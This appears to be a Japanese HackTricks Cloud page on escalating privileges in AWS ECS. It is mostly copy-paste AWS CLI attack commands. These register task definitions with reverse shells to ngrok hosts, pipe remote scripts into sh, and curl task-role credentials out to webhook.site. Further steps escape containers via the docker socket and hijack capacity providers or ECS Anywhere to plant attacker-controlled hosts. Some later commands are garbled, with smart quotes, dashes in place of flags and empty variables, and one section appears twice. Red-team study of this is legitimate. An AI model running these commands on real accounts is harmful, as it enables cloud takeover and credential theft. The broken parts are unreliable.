AWS - ECS Privesc

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

サブスクリプションプランを確認してください！

**💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。

HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。

ECS

ECSに関する詳細情報は次を参照:

AWS - ECS Enum

`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

ECSでiam:PassRole、ecs:RegisterTaskDefinition、ecs:RunTaskの権限を悪用する攻撃者は、新しいタスク定義を生成し、メタデータの認証情報を盗む悪意のあるコンテナを含めてそれを実行することができます。

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

webhook.site のようなサイトで webhook を作成する。


# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]

# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json

# Check the webhook for a response

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: 別の ECS role への直接的な privesc。

iam:PassRole と ecs:RunTask の権限を持つ攻撃者は、execution role、task role、およびコンテナの command の値を変更した状態で新しい ECS タスクを起動できます。ecs run-task CLI コマンドには --overrides フラグがあり、タスク定義を変更せずに実行時に executionRoleArn、taskRoleArn、およびコンテナの command を変更できます。

taskRoleArn と executionRoleArn に指定された IAM ロールは、トラストポリシーで ecs-tasks.amazonaws.com による引き受けを許可／信頼している必要があります。

また、攻撃者は以下を把握している必要があります:

ECS cluster name
VPC Subnet
Security group (セキュリティグループが指定されていない場合はデフォルトのものが使用されます)
Task Definition Name and revision
Name of the Container

aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

上のコードスニペットでは attacker は taskRoleArn の値のみを上書きしています。しかし、attack が成立するには、attacker がコマンドで指定した taskRoleArn とタスク定義で指定された executionRoleArn の両方に対して iam:PassRole 権限を持っている必要があります。

attacker が渡せる IAM ロールが ECR イメージのプルと ECS タスクの起動に必要な権限（ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer, ecr:BatchGetImage, ecr:GetAuthorizationToken）を持っている場合、attacker は ecs run-task コマンドで executionRoleArn と taskRoleArn の両方に同じ IAM ロールを指定できます。

aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Potential Impact: 任意の ECS task role への直接的な privesc.

`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

前の例と同様に、攻撃者が ECS 上で iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask 権限を悪用すると、メタデータ認証情報を盗む悪意のあるコンテナを含む新しい task definitionを生成して実行することができます。
ただし、この場合、悪意のある task definition を実行するための container instance が必要になります。

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: 任意のECSロールへの直接的なprivesc。

`iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`

前の例と同様に、ECSで**iam:PassRole、ecs:RegisterTaskDefinition、ecs:UpdateService** または ecs:CreateService 権限を悪用する攻撃者は、メタデータ認証情報を窃取する悪意のあるコンテナ を含む 新しいタスク定義を生成 し、少なくとも1つのタスクが稼働するサービスを作成してそれを実行することができます。

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

潜在的な影響: 任意の ECS role への直接的な privesc.

`iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

実際には、これらの権限だけで overrides を使い、任意の role を割り当てたコンテナ内で任意のコマンドを実行できます。次のように：

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Potential Impact: 任意の ECS role への直接 privesc.

`ecs:RegisterTaskDefinition`, `(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`

このシナリオは前のものと似ていますが、iam:PassRole 権限がありません。
これは依然として重要です。任意のコンテナを実行できる場合、たとえ role が付与されていなくても、run a privileged container to escape してノードに脱出し、steal the EC2 IAM role やノード上で動作している other ECS containers roles を奪うことができます。
侵害した EC2 インスタンス内で他のタスクを実行させて資格情報を盗むよう force other tasks to run inside the EC2 instance することさえ可能です（詳細は Privesc to node section を参照）。

Warning

この攻撃は ECS cluster is using EC2 インスタンスを使用している場合にのみ可能で、Fargate では実行できません。

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

`ecs:ExecuteCommand`, `ecs:DescribeTasks,``(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`

An attacker with the ecs:ExecuteCommand, ecs:DescribeTasks can execute commands inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it’s necessary to run aws ecs execute-command).
ただし、そのためにはコンテナインスタンス上で ExecuteCommand agent が動作している必要がある（デフォルトでは動作していない）。

Therefore, the attacker cloud try to:

実行中のすべてのコンテナでコマンドを実行してみる

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

もし ecs:RunTask の権限があれば、aws ecs run-task --enable-execute-command [...] でタスクを実行できます。
もし ecs:StartTask の権限があれば、aws ecs start-task --enable-execute-command [...] でタスクを実行できます。
もし ecs:CreateService の権限があれば、aws ecs create-service --enable-execute-command [...] でサービスを作成できます。
もし ecs:UpdateService の権限があれば、aws ecs update-service --enable-execute-command [...] でサービスを更新できます。

これらのオプションの例 は 前の ECS privesc sections で見つけられます。

潜在的な影響: コンテナにアタッチされた別のロールへの Privesc。

`ssm:StartSession`

この権限を悪用して privesc to ECS する方法は、ssm privesc page を参照してください:

AWS - SSM Privesc

`iam:PassRole`, `ec2:RunInstances`

これらの権限を悪用して privesc to ECS する方法は、ec2 privesc page を参照してください:

AWS - EC2 Privesc

`ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`

これらの権限を持つ攻撃者は、ECS クラスターに EC2 インスタンスを登録してその上でタスクを実行する可能性があります。これにより、攻撃者は ECS タスクのコンテキスト内で任意のコードを実行できるようになります。

TODO: 別の AWS アカウントからインスタンスを登録して、タスクが攻撃者が制御するマシン上で実行されるようにすることは可能か??

`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

Note

TODO: Test this

これらの権限（ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets）を持つ攻撃者は、既存の ECS service に対して 悪意のある task set を作成し primary task set を更新する ことができます。これにより攻撃者はサービス内で 任意のコードを実行する ことが可能になります。

# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potential Impact: 影響を受けたサービスで任意のコードを実行でき、機能に影響を与えたり機密データを外部へ持ち出したりする可能性があります。

References

https://ruse.tech/blogs/ecs-attack-methods

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

攻撃者が ECS capacity providers の管理やサービスの更新権限を持っている場合、自分で制御する EC2 Auto Scaling Group を作成し、それを ECS Capacity Provider にラップしてターゲットのクラスターに関連付け、被害者のサービスをそのプロバイダに移行させることができます。すると tasks は攻撃者が制御する EC2 インスタンス上にスケジュールされ、OS レベルでコンテナを調査したりタスクの IAM ロール資格情報を窃取したりすることが可能になります。

Commands (us-east-1):

前提条件
ターゲットクラスターに参加させるための Launch Template（ECS agent 用）を作成
Auto Scaling Group を作成
ASG から Capacity Provider を作成
Capacity Provider をクラスターに関連付ける（必要に応じてデフォルトにする）
サービスを自分のプロバイダに移行
tasks が攻撃者インスタンスに配置されることを確認
任意: EC2 ノードから docker exec でターゲットコンテナに入り、http://169.254.170.2 を読み取ってタスクロールの資格情報を取得
クリーンアップ

Potential Impact: 攻撃者が制御する EC2 ノードに被害者の tasks が割り当てられ、コンテナへの OS レベルのアクセスやタスクの IAM ロール資格情報の窃取が可能になります。

ステップバイステップのコマンド（コピー/貼り付け）

export AWS_DEFAULT_REGION=us-east-1 CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster # Instance profile for ECS nodes aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true

VPC=vpc-18e6ac62 SUBNETS=

AMI=ami-0b570770164588ab4 USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo= LT_ID=

ASG_ARN=

CP_NAME=htcp-8797 aws ecs create-capacity-provider –name –auto-scaling-group-provider “autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED” aws ecs put-cluster-capacity-providers –cluster “” –capacity-providers –default-capacity-provider-strategy capacityProvider=,weight=1

SVC=

Task definition must be EC2-compatible (not Fargate-only)

aws ecs update-service –cluster “” –service “” –capacity-provider-strategy capacityProvider=,weight=1 –force-new-deployment

TASK= CI= aws ecs describe-container-instances –cluster “” –container-instances “” –query containerInstances[0].ec2InstanceId –output text

Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

ECS Anywhere を悪用して攻撃者が制御するホストを被害クラスタの EXTERNAL container instance として登録し、そのホスト上で特権付きの task と execution ロールを使って tasks を実行します。これにより tasks が実行される場所（自分のマシン）に対する OS レベルの制御が得られ、capacity providers や ASGs に触れずに tasks やアタッチされたボリュームから資格情報やデータを窃取できます。

必要な権限（例、最小）:
ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
Impact: 攻撃者ホスト上で選択した taskRoleArn を使って任意のコンテナを実行；169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI からタスクロールの資格情報を外部へ持ち出す；tasks にマウントされた任意のボリュームへアクセス；capacity providers/ASGs を操作するよりステルス性が高い。

Steps

クラスターを作成/特定する (us-east-1)

aws ecs create-cluster --cluster-name ht-ecs-anywhere

ECS Anywhere ロールと SSM アクティベーションを作成（オンプレ/EXTERNAL インスタンス用）

aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)

攻撃者ホストをプロビジョニングし、EXTERNALとして自動登録する (例: 小さな AL2 EC2 を “on‑prem” として)

user-data.sh

```bash #!/bin/bash set -euxo pipefail amazon-linux-extras enable docker || true yum install -y docker curl jq systemctl enable --now docker curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" chmod +x /root/ecs-anywhere-install.sh /root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 ```

```bash AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text) IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \ --user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text) aws ec2 wait instance-status-ok --instance-ids $IID ``` 4) EXTERNAL コンテナインスタンスが参加していることを確認する ```bash aws ecs list-container-instances --cluster ht-ecs-anywhere aws ecs describe-container-instances --cluster ht-ecs-anywhere \ --container-instances --query 'containerInstances[0].[ec2InstanceId,attributes]' # ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external ``` 5) task/execution roles を作成し、EXTERNAL task definition を登録して、attacker host 上でそれを実行する ```bash # roles aws iam create-role --role-name ht-ecs-task-exec \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy aws iam create-role --role-name ht-ecs-task-role \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' # attach any privileges you want to abuse to this task role

task def (EXTERNAL launch)

cat > td-external.json << ‘JSON’ { “family”: “ht-external”, “requiresCompatibilities”: [ “EXTERNAL” ], “networkMode”: “bridge”, “memory”: “256”, “cpu”: “128”, “executionRoleArn”: “arn:aws:iam:::role/ht-ecs-task-exec”, “taskRoleArn”: “arn:aws:iam:::role/ht-ecs-task-role”, “containerDefinitions”: [ {“name”:“steal”,“image”:“public.ecr.aws/amazonlinux/amazonlinux:latest”, “entryPoint”:[“/bin/sh”,“-c”], “command”:[“REL=$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2$REL; sleep 600”], “memory”: 128, “logConfiguration”:{“logDriver”:“awslogs”,“options”:{“awslogs-region”:“us-east-1”,“awslogs-group”:“/ht/ecs/anywhere”,“awslogs-stream-prefix”:“steal”}} } ] } JSON aws logs create-log-group –log-group-name /ht/ecs/anywhere || true aws ecs register-task-definition –cli-input-json file://td-external.json CI=$(aws ecs list-container-instances –cluster ht-ecs-anywhere –query ‘containerInstanceArns[0]’ –output text) aws ecs start-task –cluster ht-ecs-anywhere –task-definition ht-external
–container-instances $CI

6) ここからタスクを実行しているホストを制御できます。タスクログ（if awslogs）を読み取ったり、ホスト上で直接 exec してタスクから資格情報／データを exfiltrate できます。

#### コマンド例（プレースホルダ）

### 悪意ある Capacity Provider による ECS スケジューリングの乗っ取り (EC2 ASG takeover)

ECS capacity providers を管理し services を更新する権限を持つ攻撃者は、自分で制御する EC2 Auto Scaling Group を作成し、それを ECS Capacity Provider に組み込み、ターゲットクラスタに関連付け、被害者のサービスをこのプロバイダに移行させることができます。するとタスクは攻撃者が制御する EC2 インスタンス上にスケジュールされ、OS レベルからコンテナを調査したり task role credentials を窃取したりできるようになります。

Commands (us-east-1):

- 前提条件

- ECS agent がターゲットクラスタに参加するための Launch Template を作成

- Auto Scaling Group を作成

- ASG から Capacity Provider を作成

- Capacity Provider をクラスタに関連付け（オプションでデフォルトに）

- サービスをあなたのプロバイダに移行

- タスクが攻撃者インスタンス上に配置されることを確認

- 任意: EC2 ノードから docker exec で target コンテナに入り、http://169.254.170.2 を参照して task role credentials を取得

- クリーンアップ

**Potential Impact:** 攻撃者が制御する EC2 ノードに被害者のタスクが配置され、OS レベルでコンテナにアクセスできるようになり、task IAM role credentials の窃取が可能になります。
> [!TIP]
> AWSハッキングを学び、実践する：<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCPハッキングを学び、実践する：<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azureハッキングを学び、実践する：<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricksをサポートする</summary>
>
> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！
> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
>
> </details>